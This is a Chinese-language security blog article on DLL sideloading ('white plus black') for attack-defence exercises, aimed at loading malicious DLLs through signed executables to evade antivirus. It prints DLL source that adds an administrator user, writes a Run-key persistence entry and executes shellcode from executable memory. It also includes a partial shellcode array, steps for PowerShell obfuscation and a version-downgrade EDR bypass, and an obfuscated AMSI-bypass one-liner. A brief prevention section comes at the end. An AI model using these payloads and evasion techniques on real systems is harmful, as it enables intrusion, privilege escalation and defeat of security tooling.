0X00前言
為什么我們需要白加黑這種攻擊方法呢?答:降本增效,我們知道在以后AI+安全崛起的大背景下,社工將會成為攻防演練項目中,成本最低,效率最高的一種攻擊方式,而這個時候"白加黑"的成本優勢就體現的淋漓盡致了。
那什么是白加黑呢?答:白加黑就是通過DLL劫持在應用程序的導出目錄中通過創建一個DLL并通過LoadLibrary函數(或者找一個已有的DLL注入惡意代碼)來加載DLL文件。當目標嘗試執行該文件(注意:不是執行受惡意的DLL文件)時,這個白文件會在應用程序加載時加載惡意的DLL。目標只要加載包含惡意代碼的文件,攻擊者就可以訪問目標計算機了。
小提示:代碼只是參考,不一定可以運行喲!!!
0X01起源
在攻防演練中通過運行惡意代碼連接C2是最常用的手段,但是由于對抗程度的提升。以360、天擎為代表的殺毒軟件針對信任鏈的檢測,已經變得愈來愈成熟。這個時候我們要么花費巨額資金去購買"簽名",要么針對殺軟當中的白名單進行研究與利用。
這個時候有人會說,怎么去利用白名單呢?答:攻擊者利用了微軟Windows應用程序加載DLL文件的方式。這里我們可以理解為,攻擊者通過利用"白加黑"這種攻擊方法(即,利用白文件加載惡意的動態鏈接庫 (DLL) )。當攻擊者通過社工釣魚的手段,使得目標下載惡意的文件到目標自己的計算機上,并點擊運行白文件時,該文件會在運行時執行惡意DLL。
我們通過構造"白加黑"可以達到如下的目的:
運行文件,達到執行敏感命令的目的(eg:執行MS系列POC、將Mimikatz變為shellcode執行....)
運行文件,達到權限提升的目的(eg:添加net user創建新用戶.....)
運行文件,達到權限維持的目的(eg:添加新的注冊表)......
補充:360、天擎為代表的殺軟也會對一些微軟簽名的Windows工具和.exe文件進行標記,例如:PuDump、Rundll32、Msbuild.....所以,攻擊者需要實時更新自己的DLL白名單,不然免殺效果很可能失效。
運行文件,達到執行敏感命令的目的
/*DLL劫持運行編譯64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/
#include #pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox( NULL, "hello world!", MB_OK ); break; case DLLPROCESSDETACH: break; case DLLTHREADATTACH: break; case DLLTHREADDETACH: break; } return TRUE;}
也許最簡單的糾正措施包括確保所有軟件都安裝在受保護的目錄C:\Program Files或C:\Program Files (x86). 如果無法在這些地方安裝軟件,那么下一個最簡單的步驟就是保證只有管理用戶對安裝目錄具有“創建”或“寫入”權限,以防止攻擊者安裝惡意 DLL 從而破壞漏洞。
運行文件,達到權限提升的目的
/*DLL權限提升編譯(Linux)對于x64編譯:x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll對于x86編譯:i686-w64-mingw32-gcc evil.c -shared -o xxx.dll*/
#include
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("powershell.exe /k net localgroup administrators user /add"); break; case DLLPROCESSDETACH: break; case DLLTHREADATTACH: break; case DLLTHREADDETACH: break; } return TRUE;}
運行文件,達到權限維持的目的
/*DLL權限維持編譯(Linux)對于x64編譯:x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll對于x86編譯:i686-w64-mingw32-gcc evil.c -shared -o xxx.dll*/
#include
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HKEY hkey = NULL; const char* exe = "C:\\xxx.exe"; LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey); if (res == ERROR_SUCCESS) { RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe)); RegCloseKey(hkey); } break; case DLLPROCESSDETACH: break; case DLLTHREADATTACH: break; case DLLTHREADDETACH: break; } return TRUE;}
0X02攻擊方式
由上面的文章可以知道,主流的"白加黑"有三種不同的加載方式:
白執行黑DLL
白執行DLL加載shellcode
白加載shellcode
我們知道當程序被編譯時,可執行文件的頭文件(PE)會將導入表添入其中。而導入表的作用是記住需要從哪個DLL導入哪些函數,所以白文件每次執行程序時,鏈接器都知道該做什么并自動加載所有必需的庫。這時我們就可以通過找到合適的DLL(即,擁有寫入權限的),并對其進行修改(即,注入惡意的代碼)為惡意的黑DLL。但是如果沒有合適的可修改的黑DLL,我們又想在運行時候讓白文件加載黑DLL,那么Windows API提供LoadLibrary()和LoadLibraryEx()函數就為我們提供了一個新的思路,那就是通過函數構造一個黑DLL,在將DLL的名稱導入到導入表中使其在白文件運行的時候執行。以上兩種不同的思路,導致了"白加黑"有了兩種不同的思路,即可以修改原有的DLL,也可以創造一個黑DLL進行攻擊。
這里補充一下,白加載shellcode就是我們所說的無文件落地免殺!我們首先講一講前面兩個在國內流行的"白加黑"的方法吧,關于無文件落地下一段再說。
白加黑通用流程
- 尋找合適的白文件(eg:)

>
提示:建議手工查找,腳本準確幾率不高!!
2.檢查文件夾權限,查看是否有寫入權限,如果有可以考慮直接修改,反之則考慮通過LoadLibrary函數創建一個新的黑DLL
提示:我們知道Windows系統會按照預先確定的順序查找相關庫的位置。又因為DLL的執行順序:加載應用程序的目錄===>系統目錄C:\Windows\System32===>系統目錄C:\Windows\System===>Windows 目錄 C:\Windows===>當前工作目錄===>PATH 環境變量定義的目錄;所以我們可以按照如下圖所示的順序進行DLL的搜索,并通過工具確定合適的DLL。
白執行黑DLL
關于這個方法我們根據選擇的白文件的DLL的特點,進行合理的修改!首先我們可以利用庫引用在白文件的上下文中執行代碼。如果文件允許LoadLibrary函數動態解析庫的路徑,那么該文件也會在當前目錄中查找庫DLL。我們通過將"白加黑"復制到具有寫入權限的目錄即可。如果我們需要創建自定義的黑DLL,那么白文件將加載黑DLL并執行惡意的代碼。而且,我們尋找的白文件大多會有簽名并通過了殺軟的信任,使得我們的攻擊成功幾率大大增加。
黑DLL的代碼演示(如下圖所示):
/*DLL執行DLL的命令編譯64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/
# include "pch.h"# include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) { case DLLPROCESSATTACH: system("calc"); case DLLTHREADATTACH: case DLLTHREADDETACH: break; } return TRUE;}
不滿足所有導出的 DLL 劫持,在 C/C++ 中編寫有效負載 DLL 時,可能會劫持DllMain中的控制流。執行此操作時,沒有必要枚舉和滿足所有需要的導出,即可能存在 DLL 沒有任何導出并且只能通過 DllMain 入口點被劫持的情況。
白執行DLL加載shellcode
我們也可以通過構造惡意的黑DLL,并在其中運行shellcode,達到命令執行的效果,來繞過360和天擎的檢測。
黑DLL加載shellcode的代碼演示(如下圖所示):
/*DLL執行DLL的命令編譯64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c*/#include #include #include // 加載的shellcoder(彈calc) 64-bitunsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, };
extern "A" __declspec(dllexport) void Go(void) { void * exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; unsigned int payload_len = sizeof(payload); exec_mem = VirtualAlloc(1, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlMoveMemory(exec_mem, payload, payload_len); th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, -1);}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ulreason_forcall, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: break; } return TRUE;}
0X03無文件落地
內存(asmi)/行為(edr)檢測
我們知道一旦啟用Powershell,就會導致微軟的Defender調用ASMI接口,進行檢測。但是我們要注意,其實在啟動Powershell的時候,asmi.exe就已經被注入到powershell.exe的進程當中了,所以Defender才可以通過ASMI的函數去檢測惡意行為。又因為某些原因Powershell無文件落地免殺在國內其實不太流行,因為360\天擎一旦發現Powershell運行一些敏感函數就會標記直接攔截,導致執行失敗,但是它卻可繞過火絨等殺軟。
Powershell混淆
Invoke-Obfuscation是一個兼容PowerShellv2.0+的PowerShell命令和腳本混淆器(github地址:https://github.com/danielbohannon/Invoke-Obfuscation),我們可以使用Invoke-Obfuscation來混淆/加密惡意的PowerShell腳本,使得PowerShell腳本逃避殺軟的檢測,原理是代碼是在解釋器中執行的,并很難檢測代碼本質上是否存在惡意代碼。
- 第一步將涉及創建惡意PowerShell腳本并將其保存,沙箱檢測如下所示:

- 創建并保存惡意PowerShell腳本后,打開混淆工具,我們可以通過在Invoke-Obfuscate提示符中運行以下命令來完成:
Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation

- 然后指定腳本路徑,系統將提示您使用混淆方法菜單,如下所示:
set scriptpath xxxx.ps1

- 這時,我們可以選擇合適混淆方法,通過在Invoke-Obfuscate提示符中運行命令來選擇此選項:
token all
>
5.最后,輸出混淆后的.ps1腳本
1 out xxx.ps1
我們已經能夠成功地混淆我們的惡意PowerShell腳本并逃避任何AV檢測,或者您也可以使用Invoke-Obfuscate來混淆或編碼單個PowerShell命令。建議有能力的進行二次開發,除去加密的特征值,免殺效果更好。
注意:使用的目標應該能夠執行PowerShell腳本,否則,我們將無法執行混淆/編碼的PowerShell腳本。
當然也可以利用

繞過EDR
為了防止我們被edr發現,我們需要針對Powershell進行"降低版本"的操作,如果你有能力降級到 Powershell 2.0,這可以讓你繞過該ConstrainedLanguage模式。雖然效果不錯,但是如果edr對版本進行標記,依然會導致異常。
$ExecutionContext.SessionState.LanguageMode Powershell $ExecutionContext.SessionState.LanguageMode Powershell -version 2

小提示:Win10及以上版本可能需要安裝Powershell 2版本才可以進行利用!
ASMI免殺處理
為了做好Powershell的免殺,我們針對內存規避有著以下的手段:
專注于內存操作,不將文件寫入磁盤
通過利用各種Windows API將有效負載注入進程
然后在存儲器中的單獨線程中執行有效載荷
但是ASMI依然對Powershell的免殺有著致命的打擊,所以需要我們針對Powershell的ASMI免殺做出特定的研究。
利用常見方法繞過
使用XOR等加密方法來繞過AMSI,并在運行時將字符串解碼回內存
通過阻斷ASMI.dll中AmsiScanBuffer()函數的掃描進程
修改注冊表,將HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值更改為0
利用網站混淆繞過

#Matt Graebers second Reflection method
$wfSi=$null;$hlrajhy="$([char](30+53)+[cHaR]([byte]0x79)+[CHar]([BYtE]0x73)+[ChAR]([BYTe]0x74)+[Char](101*20/20)+[chaR](109*46/46)).$([CHaR](65+12)+[chAR](97+89-89)+[CHAR]([byTE]0x6e)+[cHAR]([bYte]0x61)+[char]([ByTe]0x67)+[ChAR](101)+[CHAR]([byTe]0x6d)+[cHaR]([bytE]0x65)+[chAr]([ByTe]0x6e)+[cHar](116)).$(('?ut?mát'+'íón').NOrmAlizE([chaR](33+37)+[cHAR](111)+[ChAR]([BYTE]0x72)+[CHAr](109+28-28)+[CHar](68)) -replace [chaR](92+71-71)+[cHar]([BYTe]0x70)+[ChAr]([Byte]0x7b)+[ChaR]([BYtE]0x4d)+[chaR]([BYtE]0x6e)+[ChaR](125+53-53)).$(('?ms'+'íUt'+'íls').NORMaLIze([cHAr](70)+[cHAR]([BYTE]0x6f)+[cHAr](24+90)+[chAR](22+87)+[cHar](68+36-36)) -replace [cHAR]([bYTe]0x5c)+[Char](112+50-50)+[chAr]([bYtE]0x7b)+[CHar](77)+[cHAr]([byTE]0x6e)+[CHar]([BYTe]0x7d))";$xrgohuphpvm="+('n'+'u'+'?').NormALize([CHaR](70+47-47)+[ChaR](111)+[cHaR]([BYtE]0x72)+[cHAR]([ByTe]0x6d)+[CHAR](68*53/53)) -replace [CHAr]([BYTE]0x5c)+[chAr]([bYte]0x70)+[ChAr]([BYTe]0x7b)+[chaR](77)+[cHaR](110+87-87)+[chAR](125*25/25)";[Threading.Thread]::Sleep(1085);[Runtime.InteropServices.Marshal]::("$([cHAR]([ByTe]0x57)+[char](114)+[Char]([byte]0x69)+[ChAR](116)+[chAR]([byte]0x65)+[ChAR](73+49-49)+[chAr](110+78-78)+[chAR]([BYte]0x74)+[CHar]([BYTE]0x33)+[cHAR](50*13/13))")([Ref].Assembly.GetType($hlrajhy).GetField("$(('àmsìC'+'?ntex'+'t').norMAlizE([CHAR]([BYte]0x46)+[ChAr]([BYtE]0x6f)+[Char](114+75-75)+[CHAr]([ByTE]0x6d)+[CHaR]([byTE]0x44)) -replace [CHar]([BYtE]0x5c)+[cHar](112+67-67)+[CHaR](123+7-7)+[CHar]([BYTE]0x4d)+[ChAR]([byTe]0x6e)+[ChAR]([bYtE]0x7d))",[Reflection.BindingFlags]"NonPublic,Static").GetValue($wfSi),0x5762f72c);
網站鏈接:https://amsi.fail
0X04尋找白文件
人工尋找白文件
通過Procmon進程監視器,顯示實時?件系統、注冊表和進程/線程活動,這?我們?來觀察進程運?過程的DLL調?。通過設置不同的篩選方式去尋找可以加載的黑DLL。
我們通過運?xxx.exe白文件對比,尋找是否存在LoadLibrary函數,如果存在,我們可以直接構造一個惡意黑DLL。

反之,我們就需要劫持不存在的DLL。

自動化挖掘白文件
https://github.com/cyberark/DLLSpy
DLLSpy.exe -x -d:強制,掃描加載的模塊。 -o:指定輸出文件。 -s:靜態掃描,尋找缺失的DLL和二進制文件中的DLL -r :遞歸掃描,number是遞歸的深度
https://github.com/dragoneeg/bDLL
執行:python DllJacking_Python.py 目標文件夾地址

雖然高效,誤報高,準確度低!
也可以去網站搜索 (網站地址:https://hijacklibs.net/)

0X05檢測和預防措施
我也收集了關于白加黑的部分預防和檢測方法,并分享在下文當中。該分享將白加黑攻擊分解為軟件開發級別的預防措施,并提出了針對端點用戶級別的建議。如上提及的一些檢測方法:
檢查具有異常網絡連接的進程,且給定進程的網絡活動已變得與基線不同,則該進程可能已受到損害
DLL權限,針對具有LoadLibrary()函數的DLL進行限制
DLL白名單,即跟蹤系統上使用的DLL的哈希值以識別差異
但是這些檢測方法難以大范圍實施,雖然可以利用,但是成本過于高昂。這就是為什么"白加黑"仍然有效并在攻防演練當中運用的原因。該惡意攻擊方式存在的根本問題與軟件開發人員密切相關。所以希望本文能被更多開發人員看見,已減少攻擊者用其攻擊手段。
合天網安實驗室



CNCERT國家工程研究中心
一顆小胡椒
安全圈
安全圈
天億網絡安全
LemonSec
雷石安全實驗室
看雪學苑
D1Net
嘶吼專業版
看雪學苑
一顆小胡椒